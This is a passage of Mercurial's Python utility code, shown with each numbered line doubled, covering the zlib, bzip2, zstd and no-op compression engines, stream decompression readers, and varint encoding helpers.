3298 If wire protocol compression is supported, the class must also implement
3298 If wire protocol compression is supported, the class must also implement
3299 ``compressstream`` and ``decompressorreader``.
3299 ``compressstream`` and ``decompressorreader``.
3300 """
3300 """
3301 return None
3301 return None
3302
3302
3303 def revlogheader(self):
3303 def revlogheader(self):
3304 """Header added to revlog chunks that identifies this engine.
3304 """Header added to revlog chunks that identifies this engine.
3305
3305
3306 If this engine can be used to compress revlogs, this method should
3306 If this engine can be used to compress revlogs, this method should
3307 return the bytes used to identify chunks compressed with this engine.
3307 return the bytes used to identify chunks compressed with this engine.
3308 Else, the method should return ``None`` to indicate it does not
3308 Else, the method should return ``None`` to indicate it does not
3309 participate in revlog compression.
3309 participate in revlog compression.
3310 """
3310 """
3311 return None
3311 return None
3312
3312
3313 def compressstream(self, it, opts=None):
3313 def compressstream(self, it, opts=None):
3314 """Compress an iterator of chunks.
3314 """Compress an iterator of chunks.
3315
3315
3316 The method receives an iterator (ideally a generator) of chunks of
3316 The method receives an iterator (ideally a generator) of chunks of
3317 bytes to be compressed. It returns an iterator (ideally a generator)
3317 bytes to be compressed. It returns an iterator (ideally a generator)
3318 of bytes of chunks representing the compressed output.
3318 of bytes of chunks representing the compressed output.
3319
3319
3320 Optionally accepts an argument defining how to perform compression.
3320 Optionally accepts an argument defining how to perform compression.
3321 Each engine treats this argument differently.
3321 Each engine treats this argument differently.
3322 """
3322 """
3323 raise NotImplementedError()
3323 raise NotImplementedError()
3324
3324
3325 def decompressorreader(self, fh):
3325 def decompressorreader(self, fh):
3326 """Perform decompression on a file object.
3326 """Perform decompression on a file object.
3327
3327
3328 Argument is an object with a ``read(size)`` method that returns
3328 Argument is an object with a ``read(size)`` method that returns
3329 compressed data. Return value is an object with a ``read(size)`` that
3329 compressed data. Return value is an object with a ``read(size)`` that
3330 returns uncompressed data.
3330 returns uncompressed data.
3331 """
3331 """
3332 raise NotImplementedError()
3332 raise NotImplementedError()
3333
3333
3334 def revlogcompressor(self, opts=None):
3334 def revlogcompressor(self, opts=None):
3335 """Obtain an object that can be used to compress revlog entries.
3335 """Obtain an object that can be used to compress revlog entries.
3336
3336
3337 The object has a ``compress(data)`` method that compresses binary
3337 The object has a ``compress(data)`` method that compresses binary
3338 data. This method returns compressed binary data or ``None`` if
3338 data. This method returns compressed binary data or ``None`` if
3339 the data could not be compressed (too small, not compressible, etc).
3339 the data could not be compressed (too small, not compressible, etc).
3340 The returned data should have a header uniquely identifying this
3340 The returned data should have a header uniquely identifying this
3341 compression format so decompression can be routed to this engine.
3341 compression format so decompression can be routed to this engine.
3342 This header should be identified by the ``revlogheader()`` return
3342 This header should be identified by the ``revlogheader()`` return
3343 value.
3343 value.
3344
3344
3345 The object has a ``decompress(data)`` method that decompresses
3345 The object has a ``decompress(data)`` method that decompresses
3346 data. The method will only be called if ``data`` begins with
3346 data. The method will only be called if ``data`` begins with
3347 ``revlogheader()``. The method should return the raw, uncompressed
3347 ``revlogheader()``. The method should return the raw, uncompressed
3348 data or raise a ``RevlogError``.
3348 data or raise a ``RevlogError``.
3349
3349
3350 The object is reusable but is not thread safe.
3350 The object is reusable but is not thread safe.
3351 """
3351 """
3352 raise NotImplementedError()
3352 raise NotImplementedError()
3353
3353
3354 class _CompressedStreamReader(object):
3354 class _CompressedStreamReader(object):
3355 def __init__(self, fh):
3355 def __init__(self, fh):
3356 if safehasattr(fh, 'unbufferedread'):
3356 if safehasattr(fh, 'unbufferedread'):
3357 self._reader = fh.unbufferedread
3357 self._reader = fh.unbufferedread
3358 else:
3358 else:
3359 self._reader = fh.read
3359 self._reader = fh.read
3360 self._pending = []
3360 self._pending = []
3361 self._pos = 0
3361 self._pos = 0
3362 self._eof = False
3362 self._eof = False
3363
3363
3364 def _decompress(self, chunk):
3364 def _decompress(self, chunk):
3365 raise NotImplementedError()
3365 raise NotImplementedError()
3366
3366
3367 def read(self, l):
3367 def read(self, l):
3368 buf = []
3368 buf = []
3369 while True:
3369 while True:
3370 while self._pending:
3370 while self._pending:
3371 if len(self._pending[0]) > l + self._pos:
3371 if len(self._pending[0]) > l + self._pos:
3372 newbuf = self._pending[0]
3372 newbuf = self._pending[0]
3373 buf.append(newbuf[self._pos:self._pos + l])
3373 buf.append(newbuf[self._pos:self._pos + l])
3374 self._pos += l
3374 self._pos += l
3375 return ''.join(buf)
3375 return ''.join(buf)
3376
3376
3377 newbuf = self._pending.pop(0)
3377 newbuf = self._pending.pop(0)
3378 if self._pos:
3378 if self._pos:
3379 buf.append(newbuf[self._pos:])
3379 buf.append(newbuf[self._pos:])
3380 l -= len(newbuf) - self._pos
3380 l -= len(newbuf) - self._pos
3381 else:
3381 else:
3382 buf.append(newbuf)
3382 buf.append(newbuf)
3383 l -= len(newbuf)
3383 l -= len(newbuf)
3384 self._pos = 0
3384 self._pos = 0
3385
3385
3386 if self._eof:
3386 if self._eof:
3387 return ''.join(buf)
3387 return ''.join(buf)
3388 chunk = self._reader(65536)
3388 chunk = self._reader(65536)
3389 self._decompress(chunk)
3389 self._decompress(chunk)
3390 if not chunk and not self._pending and not self._eof:
3390 if not chunk and not self._pending and not self._eof:
3391 # No progress and no new data, bail out
3391 # No progress and no new data, bail out
3392 return ''.join(buf)
3392 return ''.join(buf)
3393
3393
3394 class _GzipCompressedStreamReader(_CompressedStreamReader):
3394 class _GzipCompressedStreamReader(_CompressedStreamReader):
3395 def __init__(self, fh):
3395 def __init__(self, fh):
3396 super(_GzipCompressedStreamReader, self).__init__(fh)
3396 super(_GzipCompressedStreamReader, self).__init__(fh)
3397 self._decompobj = zlib.decompressobj()
3397 self._decompobj = zlib.decompressobj()
3398 def _decompress(self, chunk):
3398 def _decompress(self, chunk):
3399 newbuf = self._decompobj.decompress(chunk)
3399 newbuf = self._decompobj.decompress(chunk)
3400 if newbuf:
3400 if newbuf:
3401 self._pending.append(newbuf)
3401 self._pending.append(newbuf)
3402 d = self._decompobj.copy()
3402 d = self._decompobj.copy()
3403 try:
3403 try:
3404 d.decompress('x')
3404 d.decompress('x')
3405 d.flush()
3405 d.flush()
3406 if d.unused_data == 'x':
3406 if d.unused_data == 'x':
3407 self._eof = True
3407 self._eof = True
3408 except zlib.error:
3408 except zlib.error:
3409 pass
3409 pass
3410
3410
3411 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3411 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3412 def __init__(self, fh):
3412 def __init__(self, fh):
3413 super(_BZ2CompressedStreamReader, self).__init__(fh)
3413 super(_BZ2CompressedStreamReader, self).__init__(fh)
3414 self._decompobj = bz2.BZ2Decompressor()
3414 self._decompobj = bz2.BZ2Decompressor()
3415 def _decompress(self, chunk):
3415 def _decompress(self, chunk):
3416 newbuf = self._decompobj.decompress(chunk)
3416 newbuf = self._decompobj.decompress(chunk)
3417 if newbuf:
3417 if newbuf:
3418 self._pending.append(newbuf)
3418 self._pending.append(newbuf)
3419 try:
3419 try:
3420 while True:
3420 while True:
3421 newbuf = self._decompobj.decompress('')
3421 newbuf = self._decompobj.decompress('')
3422 if newbuf:
3422 if newbuf:
3423 self._pending.append(newbuf)
3423 self._pending.append(newbuf)
3424 else:
3424 else:
3425 break
3425 break
3426 except EOFError:
3426 except EOFError:
3427 self._eof = True
3427 self._eof = True
3428
3428
3429 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3429 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3430 def __init__(self, fh):
3430 def __init__(self, fh):
3431 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3431 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3432 newbuf = self._decompobj.decompress('BZ')
3432 newbuf = self._decompobj.decompress('BZ')
3433 if newbuf:
3433 if newbuf:
3434 self._pending.append(newbuf)
3434 self._pending.append(newbuf)
3435
3435
3436 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3436 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3437 def __init__(self, fh, zstd):
3437 def __init__(self, fh, zstd):
3438 super(_ZstdCompressedStreamReader, self).__init__(fh)
3438 super(_ZstdCompressedStreamReader, self).__init__(fh)
3439 self._zstd = zstd
3439 self._zstd = zstd
3440 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3440 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3441 def _decompress(self, chunk):
3441 def _decompress(self, chunk):
3442 newbuf = self._decompobj.decompress(chunk)
3442 newbuf = self._decompobj.decompress(chunk)
3443 if newbuf:
3443 if newbuf:
3444 self._pending.append(newbuf)
3444 self._pending.append(newbuf)
3445 try:
3445 try:
3446 while True:
3446 while True:
3447 newbuf = self._decompobj.decompress('')
3447 newbuf = self._decompobj.decompress('')
3448 if newbuf:
3448 if newbuf:
3449 self._pending.append(newbuf)
3449 self._pending.append(newbuf)
3450 else:
3450 else:
3451 break
3451 break
3452 except self._zstd.ZstdError:
3452 except self._zstd.ZstdError:
3453 self._eof = True
3453 self._eof = True
3454
3454
3455 class _zlibengine(compressionengine):
3455 class _zlibengine(compressionengine):
3456 def name(self):
3456 def name(self):
3457 return 'zlib'
3457 return 'zlib'
3458
3458
3459 def bundletype(self):
3459 def bundletype(self):
3460 """zlib compression using the DEFLATE algorithm.
3460 """zlib compression using the DEFLATE algorithm.
3461
3461
3462 All Mercurial clients should support this format. The compression
3462 All Mercurial clients should support this format. The compression
3463 algorithm strikes a reasonable balance between compression ratio
3463 algorithm strikes a reasonable balance between compression ratio
3464 and size.
3464 and size.
3465 """
3465 """
3466 return 'gzip', 'GZ'
3466 return 'gzip', 'GZ'
3467
3467
3468 def wireprotosupport(self):
3468 def wireprotosupport(self):
3469 return compewireprotosupport('zlib', 20, 20)
3469 return compewireprotosupport('zlib', 20, 20)
3470
3470
3471 def revlogheader(self):
3471 def revlogheader(self):
3472 return 'x'
3472 return 'x'
3473
3473
3474 def compressstream(self, it, opts=None):
3474 def compressstream(self, it, opts=None):
3475 opts = opts or {}
3475 opts = opts or {}
3476
3476
3477 z = zlib.compressobj(opts.get('level', -1))
3477 z = zlib.compressobj(opts.get('level', -1))
3478 for chunk in it:
3478 for chunk in it:
3479 data = z.compress(chunk)
3479 data = z.compress(chunk)
3480 # Not all calls to compress emit data. It is cheaper to inspect
3480 # Not all calls to compress emit data. It is cheaper to inspect
3481 # here than to feed empty chunks through generator.
3481 # here than to feed empty chunks through generator.
3482 if data:
3482 if data:
3483 yield data
3483 yield data
3484
3484
3485 yield z.flush()
3485 yield z.flush()
3486
3486
3487 def decompressorreader(self, fh):
3487 def decompressorreader(self, fh):
3488 return _GzipCompressedStreamReader(fh)
3488 return _GzipCompressedStreamReader(fh)
3489
3489
3490 class zlibrevlogcompressor(object):
3490 class zlibrevlogcompressor(object):
3491 def compress(self, data):
3491 def compress(self, data):
3492 insize = len(data)
3492 insize = len(data)
3493 # Caller handles empty input case.
3493 # Caller handles empty input case.
3494 assert insize > 0
3494 assert insize > 0
3495
3495
3496 if insize < 44:
3496 if insize < 44:
3497 return None
3497 return None
3498
3498
3499 elif insize <= 1000000:
3499 elif insize <= 1000000:
3500 compressed = zlib.compress(data)
3500 compressed = zlib.compress(data)
3501 if len(compressed) < insize:
3501 if len(compressed) < insize:
3502 return compressed
3502 return compressed
3503 return None
3503 return None
3504
3504
3505 # zlib makes an internal copy of the input buffer, doubling
3505 # zlib makes an internal copy of the input buffer, doubling
3506 # memory usage for large inputs. So do streaming compression
3506 # memory usage for large inputs. So do streaming compression
3507 # on large inputs.
3507 # on large inputs.
3508 else:
3508 else:
3509 z = zlib.compressobj()
3509 z = zlib.compressobj()
3510 parts = []
3510 parts = []
3511 pos = 0
3511 pos = 0
3512 while pos < insize:
3512 while pos < insize:
3513 pos2 = pos + 2**20
3513 pos2 = pos + 2**20
3514 parts.append(z.compress(data[pos:pos2]))
3514 parts.append(z.compress(data[pos:pos2]))
3515 pos = pos2
3515 pos = pos2
3516 parts.append(z.flush())
3516 parts.append(z.flush())
3517
3517
3518 if sum(map(len, parts)) < insize:
3518 if sum(map(len, parts)) < insize:
3519 return ''.join(parts)
3519 return ''.join(parts)
3520 return None
3520 return None
3521
3521
3522 def decompress(self, data):
3522 def decompress(self, data):
3523 try:
3523 try:
3524 return zlib.decompress(data)
3524 return zlib.decompress(data)
3525 except zlib.error as e:
3525 except zlib.error as e:
3526 raise error.RevlogError(_('revlog decompress error: %s') %
3526 raise error.RevlogError(_('revlog decompress error: %s') %
3527 stringutil.forcebytestr(e))
3527 stringutil.forcebytestr(e))
3528
3528
3529 def revlogcompressor(self, opts=None):
3529 def revlogcompressor(self, opts=None):
3530 return self.zlibrevlogcompressor()
3530 return self.zlibrevlogcompressor()
3531
3531
3532 compengines.register(_zlibengine())
3532 compengines.register(_zlibengine())
3533
3533
3534 class _bz2engine(compressionengine):
3534 class _bz2engine(compressionengine):
3535 def name(self):
3535 def name(self):
3536 return 'bz2'
3536 return 'bz2'
3537
3537
3538 def bundletype(self):
3538 def bundletype(self):
3539 """An algorithm that produces smaller bundles than ``gzip``.
3539 """An algorithm that produces smaller bundles than ``gzip``.
3540
3540
3541 All Mercurial clients should support this format.
3541 All Mercurial clients should support this format.
3542
3542
3543 This engine will likely produce smaller bundles than ``gzip`` but
3543 This engine will likely produce smaller bundles than ``gzip`` but
3544 will be significantly slower, both during compression and
3544 will be significantly slower, both during compression and
3545 decompression.
3545 decompression.
3546
3546
3547 If available, the ``zstd`` engine can yield similar or better
3547 If available, the ``zstd`` engine can yield similar or better
3548 compression at much higher speeds.
3548 compression at much higher speeds.
3549 """
3549 """
3550 return 'bzip2', 'BZ'
3550 return 'bzip2', 'BZ'
3551
3551
3552 # We declare a protocol name but don't advertise by default because
3552 # We declare a protocol name but don't advertise by default because
3553 # it is slow.
3553 # it is slow.
3554 def wireprotosupport(self):
3554 def wireprotosupport(self):
3555 return compewireprotosupport('bzip2', 0, 0)
3555 return compewireprotosupport('bzip2', 0, 0)
3556
3556
3557 def compressstream(self, it, opts=None):
3557 def compressstream(self, it, opts=None):
3558 opts = opts or {}
3558 opts = opts or {}
3559 z = bz2.BZ2Compressor(opts.get('level', 9))
3559 z = bz2.BZ2Compressor(opts.get('level', 9))
3560 for chunk in it:
3560 for chunk in it:
3561 data = z.compress(chunk)
3561 data = z.compress(chunk)
3562 if data:
3562 if data:
3563 yield data
3563 yield data
3564
3564
3565 yield z.flush()
3565 yield z.flush()
3566
3566
3567 def decompressorreader(self, fh):
3567 def decompressorreader(self, fh):
3568 return _BZ2CompressedStreamReader(fh)
3568 return _BZ2CompressedStreamReader(fh)
3569
3569
3570 compengines.register(_bz2engine())
3570 compengines.register(_bz2engine())
3571
3571
3572 class _truncatedbz2engine(compressionengine):
3572 class _truncatedbz2engine(compressionengine):
3573 def name(self):
3573 def name(self):
3574 return 'bz2truncated'
3574 return 'bz2truncated'
3575
3575
3576 def bundletype(self):
3576 def bundletype(self):
3577 return None, '_truncatedBZ'
3577 return None, '_truncatedBZ'
3578
3578
3579 # We don't implement compressstream because it is hackily handled elsewhere.
3579 # We don't implement compressstream because it is hackily handled elsewhere.
3580
3580
3581 def decompressorreader(self, fh):
3581 def decompressorreader(self, fh):
3582 return _TruncatedBZ2CompressedStreamReader(fh)
3582 return _TruncatedBZ2CompressedStreamReader(fh)
3583
3583
3584 compengines.register(_truncatedbz2engine())
3584 compengines.register(_truncatedbz2engine())
3585
3585
3586 class _noopengine(compressionengine):
3586 class _noopengine(compressionengine):
3587 def name(self):
3587 def name(self):
3588 return 'none'
3588 return 'none'
3589
3589
3590 def bundletype(self):
3590 def bundletype(self):
3591 """No compression is performed.
3591 """No compression is performed.
3592
3592
3593 Use this compression engine to explicitly disable compression.
3593 Use this compression engine to explicitly disable compression.
3594 """
3594 """
3595 return 'none', 'UN'
3595 return 'none', 'UN'
3596
3596
3597 # Clients always support uncompressed payloads. Servers don't because
3597 # Clients always support uncompressed payloads. Servers don't because
3598 # unless you are on a fast network, uncompressed payloads can easily
3598 # unless you are on a fast network, uncompressed payloads can easily
3599 # saturate your network pipe.
3599 # saturate your network pipe.
3600 def wireprotosupport(self):
3600 def wireprotosupport(self):
3601 return compewireprotosupport('none', 0, 10)
3601 return compewireprotosupport('none', 0, 10)
3602
3602
3603 # We don't implement revlogheader because it is handled specially
3603 # We don't implement revlogheader because it is handled specially
3604 # in the revlog class.
3604 # in the revlog class.
3605
3605
3606 def compressstream(self, it, opts=None):
3606 def compressstream(self, it, opts=None):
3607 return it
3607 return it
3608
3608
3609 def decompressorreader(self, fh):
3609 def decompressorreader(self, fh):
3610 return fh
3610 return fh
3611
3611
3612 class nooprevlogcompressor(object):
3612 class nooprevlogcompressor(object):
3613 def compress(self, data):
3613 def compress(self, data):
3614 return None
3614 return None
3615
3615
3616 def revlogcompressor(self, opts=None):
3616 def revlogcompressor(self, opts=None):
3617 return self.nooprevlogcompressor()
3617 return self.nooprevlogcompressor()
3618
3618
3619 compengines.register(_noopengine())
3619 compengines.register(_noopengine())
3620
3620
3621 class _zstdengine(compressionengine):
3621 class _zstdengine(compressionengine):
3622 def name(self):
3622 def name(self):
3623 return 'zstd'
3623 return 'zstd'
3624
3624
3625 @propertycache
3625 @propertycache
3626 def _module(self):
3626 def _module(self):
3627 # Not all installs have the zstd module available. So defer importing
3627 # Not all installs have the zstd module available. So defer importing
3628 # until first access.
3628 # until first access.
3629 try:
3629 try:
3630 from . import zstd
3630 from . import zstd
3631 # Force delayed import.
3631 # Force delayed import.
3632 zstd.__version__
3632 zstd.__version__
3633 return zstd
3633 return zstd
3634 except ImportError:
3634 except ImportError:
3635 return None
3635 return None
3636
3636
3637 def available(self):
3637 def available(self):
3638 return bool(self._module)
3638 return bool(self._module)
3639
3639
3640 def bundletype(self):
3640 def bundletype(self):
3641 """A modern compression algorithm that is fast and highly flexible.
3641 """A modern compression algorithm that is fast and highly flexible.
3642
3642
3643 Only supported by Mercurial 4.1 and newer clients.
3643 Only supported by Mercurial 4.1 and newer clients.
3644
3644
3645 With the default settings, zstd compression is both faster and yields
3645 With the default settings, zstd compression is both faster and yields
3646 better compression than ``gzip``. It also frequently yields better
3646 better compression than ``gzip``. It also frequently yields better
3647 compression than ``bzip2`` while operating at much higher speeds.
3647 compression than ``bzip2`` while operating at much higher speeds.
3648
3648
3649 If this engine is available and backwards compatibility is not a
3649 If this engine is available and backwards compatibility is not a
3650 concern, it is likely the best available engine.
3650 concern, it is likely the best available engine.
3651 """
3651 """
3652 return 'zstd', 'ZS'
3652 return 'zstd', 'ZS'
3653
3653
3654 def wireprotosupport(self):
3654 def wireprotosupport(self):
3655 return compewireprotosupport('zstd', 50, 50)
3655 return compewireprotosupport('zstd', 50, 50)
3656
3656
3657 def revlogheader(self):
3657 def revlogheader(self):
3658 return '\x28'
3658 return '\x28'
3659
3659
3660 def compressstream(self, it, opts=None):
3660 def compressstream(self, it, opts=None):
3661 opts = opts or {}
3661 opts = opts or {}
3662 # zstd level 3 is almost always significantly faster than zlib
3662 # zstd level 3 is almost always significantly faster than zlib
3663 # while providing no worse compression. It strikes a good balance
3663 # while providing no worse compression. It strikes a good balance
3664 # between speed and compression.
3664 # between speed and compression.
3665 level = opts.get('level', 3)
3665 level = opts.get('level', 3)
3666
3666
3667 zstd = self._module
3667 zstd = self._module
3668 z = zstd.ZstdCompressor(level=level).compressobj()
3668 z = zstd.ZstdCompressor(level=level).compressobj()
3669 for chunk in it:
3669 for chunk in it:
3670 data = z.compress(chunk)
3670 data = z.compress(chunk)
3671 if data:
3671 if data:
3672 yield data
3672 yield data
3673
3673
3674 yield z.flush()
3674 yield z.flush()
3675
3675
3676 def decompressorreader(self, fh):
3676 def decompressorreader(self, fh):
3677 return _ZstdCompressedStreamReader(fh, self._module)
3677 return _ZstdCompressedStreamReader(fh, self._module)
3678
3678
3679 class zstdrevlogcompressor(object):
3679 class zstdrevlogcompressor(object):
3680 def __init__(self, zstd, level=3):
3680 def __init__(self, zstd, level=3):
3681 # TODO consider omitting frame magic to save 4 bytes.
3681 # TODO consider omitting frame magic to save 4 bytes.
3682 # This writes content sizes into the frame header. That is
3682 # This writes content sizes into the frame header. That is
3683 # extra storage. But it allows a correct size memory allocation
3683 # extra storage. But it allows a correct size memory allocation
3684 # to hold the result.
3684 # to hold the result.
3685 self._cctx = zstd.ZstdCompressor(level=level)
3685 self._cctx = zstd.ZstdCompressor(level=level)
3686 self._dctx = zstd.ZstdDecompressor()
3686 self._dctx = zstd.ZstdDecompressor()
3687 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3687 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3688 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3688 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3689
3689
3690 def compress(self, data):
3690 def compress(self, data):
3691 insize = len(data)
3691 insize = len(data)
3692 # Caller handles empty input case.
3692 # Caller handles empty input case.
3693 assert insize > 0
3693 assert insize > 0
3694
3694
3695 if insize < 50:
3695 if insize < 50:
3696 return None
3696 return None
3697
3697
3698 elif insize <= 1000000:
3698 elif insize <= 1000000:
3699 compressed = self._cctx.compress(data)
3699 compressed = self._cctx.compress(data)
3700 if len(compressed) < insize:
3700 if len(compressed) < insize:
3701 return compressed
3701 return compressed
3702 return None
3702 return None
3703 else:
3703 else:
3704 z = self._cctx.compressobj()
3704 z = self._cctx.compressobj()
3705 chunks = []
3705 chunks = []
3706 pos = 0
3706 pos = 0
3707 while pos < insize:
3707 while pos < insize:
3708 pos2 = pos + self._compinsize
3708 pos2 = pos + self._compinsize
3709 chunk = z.compress(data[pos:pos2])
3709 chunk = z.compress(data[pos:pos2])
3710 if chunk:
3710 if chunk:
3711 chunks.append(chunk)
3711 chunks.append(chunk)
3712 pos = pos2
3712 pos = pos2
3713 chunks.append(z.flush())
3713 chunks.append(z.flush())
3714
3714
3715 if sum(map(len, chunks)) < insize:
3715 if sum(map(len, chunks)) < insize:
3716 return ''.join(chunks)
3716 return ''.join(chunks)
3717 return None
3717 return None
3718
3718
3719 def decompress(self, data):
3719 def decompress(self, data):
3720 insize = len(data)
3720 insize = len(data)
3721
3721
3722 try:
3722 try:
3723 # This was measured to be faster than other streaming
3723 # This was measured to be faster than other streaming
3724 # decompressors.
3724 # decompressors.
3725 dobj = self._dctx.decompressobj()
3725 dobj = self._dctx.decompressobj()
3726 chunks = []
3726 chunks = []
3727 pos = 0
3727 pos = 0
3728 while pos < insize:
3728 while pos < insize:
3729 pos2 = pos + self._decompinsize
3729 pos2 = pos + self._decompinsize
3730 chunk = dobj.decompress(data[pos:pos2])
3730 chunk = dobj.decompress(data[pos:pos2])
3731 if chunk:
3731 if chunk:
3732 chunks.append(chunk)
3732 chunks.append(chunk)
3733 pos = pos2
3733 pos = pos2
3734 # Frame should be exhausted, so no finish() API.
3734 # Frame should be exhausted, so no finish() API.
3735
3735
3736 return ''.join(chunks)
3736 return ''.join(chunks)
3737 except Exception as e:
3737 except Exception as e:
3738 raise error.RevlogError(_('revlog decompress error: %s') %
3738 raise error.RevlogError(_('revlog decompress error: %s') %
3739 stringutil.forcebytestr(e))
3739 stringutil.forcebytestr(e))
3740
3740
3741 def revlogcompressor(self, opts=None):
3741 def revlogcompressor(self, opts=None):
3742 opts = opts or {}
3742 opts = opts or {}
3743 return self.zstdrevlogcompressor(self._module,
3743 return self.zstdrevlogcompressor(self._module,
3744 level=opts.get('level', 3))
3744 level=opts.get('level', 3))
3745
3745
3746 compengines.register(_zstdengine())
3746 compengines.register(_zstdengine())
3747
3747
3748 def bundlecompressiontopics():
3748 def bundlecompressiontopics():
3749 """Obtains a list of available bundle compressions for use in help."""
3749 """Obtains a list of available bundle compressions for use in help."""
3750 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3750 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3751 items = {}
3751 items = {}
3752
3752
3753 # We need to format the docstring. So use a dummy object/type to hold it
3753 # We need to format the docstring. So use a dummy object/type to hold it
3754 # rather than mutating the original.
3754 # rather than mutating the original.
3755 class docobject(object):
3755 class docobject(object):
3756 pass
3756 pass
3757
3757
3758 for name in compengines:
3758 for name in compengines:
3759 engine = compengines[name]
3759 engine = compengines[name]
3760
3760
3761 if not engine.available():
3761 if not engine.available():
3762 continue
3762 continue
3763
3763
3764 bt = engine.bundletype()
3764 bt = engine.bundletype()
3765 if not bt or not bt[0]:
3765 if not bt or not bt[0]:
3766 continue
3766 continue
3767
3767
3768 doc = pycompat.sysstr('``%s``\n %s') % (
3768 doc = pycompat.sysstr('``%s``\n %s') % (
3769 bt[0], engine.bundletype.__doc__)
3769 bt[0], engine.bundletype.__doc__)
3770
3770
3771 value = docobject()
3771 value = docobject()
3772 value.__doc__ = doc
3772 value.__doc__ = doc
3773 value._origdoc = engine.bundletype.__doc__
3773 value._origdoc = engine.bundletype.__doc__
3774 value._origfunc = engine.bundletype
3774 value._origfunc = engine.bundletype
3775
3775
3776 items[bt[0]] = value
3776 items[bt[0]] = value
3777
3777
3778 return items
3778 return items
3779
3779
3780 i18nfunctions = bundlecompressiontopics().values()
3780 i18nfunctions = bundlecompressiontopics().values()
3781
3781
3782 # convenient shortcut
3782 # convenient shortcut
3783 dst = debugstacktrace
3783 dst = debugstacktrace
3784
3784
3785 def safename(f, tag, ctx, others=None):
3785 def safename(f, tag, ctx, others=None):
3786 """
3786 """
3787 Generate a name that it is safe to rename f to in the given context.
3787 Generate a name that it is safe to rename f to in the given context.
3788
3788
3789 f: filename to rename
3789 f: filename to rename
3790 tag: a string tag that will be included in the new name
3790 tag: a string tag that will be included in the new name
3791 ctx: a context, in which the new name must not exist
3791 ctx: a context, in which the new name must not exist
3792 others: a set of other filenames that the new name must not be in
3792 others: a set of other filenames that the new name must not be in
3793
3793
3794 Returns a file name of the form oldname~tag[~number] which does not exist
3794 Returns a file name of the form oldname~tag[~number] which does not exist
3795 in the provided context and is not in the set of other names.
3795 in the provided context and is not in the set of other names.
3796 """
3796 """
3797 if others is None:
3797 if others is None:
3798 others = set()
3798 others = set()
3799
3799
3800 fn = '%s~%s' % (f, tag)
3800 fn = '%s~%s' % (f, tag)
3801 if fn not in ctx and fn not in others:
3801 if fn not in ctx and fn not in others:
3802 return fn
3802 return fn
3803 for n in itertools.count(1):
3803 for n in itertools.count(1):
3804 fn = '%s~%s~%s' % (f, tag, n)
3804 fn = '%s~%s~%s' % (f, tag, n)
3805 if fn not in ctx and fn not in others:
3805 if fn not in ctx and fn not in others:
3806 return fn
3806 return fn
3807
3807
3808 def readexactly(stream, n):
3808 def readexactly(stream, n):
3809 '''read n bytes from stream.read and abort if less was available'''
3809 '''read n bytes from stream.read and abort if less was available'''
3810 s = stream.read(n)
3810 s = stream.read(n)
3811 if len(s) < n:
3811 if len(s) < n:
3812 raise error.Abort(_("stream ended unexpectedly"
3812 raise error.Abort(_("stream ended unexpectedly"
3813 " (got %d bytes, expected %d)")
3813 " (got %d bytes, expected %d)")
3814 % (len(s), n))
3814 % (len(s), n))
3815 return s
3815 return s
3816
3816
3817 def uvarintencode(value):
3817 def uvarintencode(value):
3818 """Encode an unsigned integer value to a varint.
3818 """Encode an unsigned integer value to a varint.
3819
3819
3820 A varint is a variable length integer of 1 or more bytes. Each byte
3820 A varint is a variable length integer of 1 or more bytes. Each byte
3821 except the last has the most significant bit set. The lower 7 bits of
3821 except the last has the most significant bit set. The lower 7 bits of
3822 each byte store the 2's complement representation, least significant group
3822 each byte store the 2's complement representation, least significant group
3823 first.
3823 first.
3824
3824
3825 >>> uvarintencode(0)
3825 >>> uvarintencode(0)
3826 '\\x00'
3826 '\\x00'
3827 >>> uvarintencode(1)
3827 >>> uvarintencode(1)
3828 '\\x01'
3828 '\\x01'
3829 >>> uvarintencode(127)
3829 >>> uvarintencode(127)
3830 '\\x7f'
3830 '\\x7f'
3831 >>> uvarintencode(1337)
3831 >>> uvarintencode(1337)
3832 '\\xb9\\n'
3832 '\\xb9\\n'
3833 >>> uvarintencode(65536)
3833 >>> uvarintencode(65536)
3834 '\\x80\\x80\\x04'
3834 '\\x80\\x80\\x04'
3835 >>> uvarintencode(-1)
3835 >>> uvarintencode(-1)
3836 Traceback (most recent call last):
3836 Traceback (most recent call last):
3837 ...
3837 ...
3838 ProgrammingError: negative value for uvarint: -1
3838 ProgrammingError: negative value for uvarint: -1
3839 """
3839 """
3840 if value < 0:
3840 if value < 0:
3841 raise error.ProgrammingError('negative value for uvarint: %d'
3841 raise error.ProgrammingError('negative value for uvarint: %d'
3842 % value)
3842 % value)
3843 bits = value & 0x7f
3843 bits = value & 0x7f
3844 value >>= 7
3844 value >>= 7
3845 bytes = []
3845 bytes = []
3846 while value:
3846 while value:
3847 bytes.append(pycompat.bytechr(0x80 | bits))
3847 bytes.append(pycompat.bytechr(0x80 | bits))
3848 bits = value & 0x7f
3848 bits = value & 0x7f
3849 value >>= 7
3849 value >>= 7
3850 bytes.append(pycompat.bytechr(bits))
3850 bytes.append(pycompat.bytechr(bits))
3851
3851
3852 return ''.join(bytes)
3852 return ''.join(bytes)
3853
3853
3854 def uvarintdecodestream(fh):
3854 def uvarintdecodestream(fh):
3855 """Decode an unsigned variable length integer from a stream.
3855 """Decode an unsigned variable length integer from a stream.
3856
3856
3857 The passed argument is anything that has a ``.read(N)`` method.
3857 The passed argument is anything that has a ``.read(N)`` method.
3858
3858
3859 >>> try:
3859 >>> try:
3860 ... from StringIO import StringIO as BytesIO
3860 ... from StringIO import StringIO as BytesIO
3861 ... except ImportError:
3861 ... except ImportError:
3862 ... from io import BytesIO
3862 ... from io import BytesIO
3863 >>> uvarintdecodestream(BytesIO(b'\\x00'))
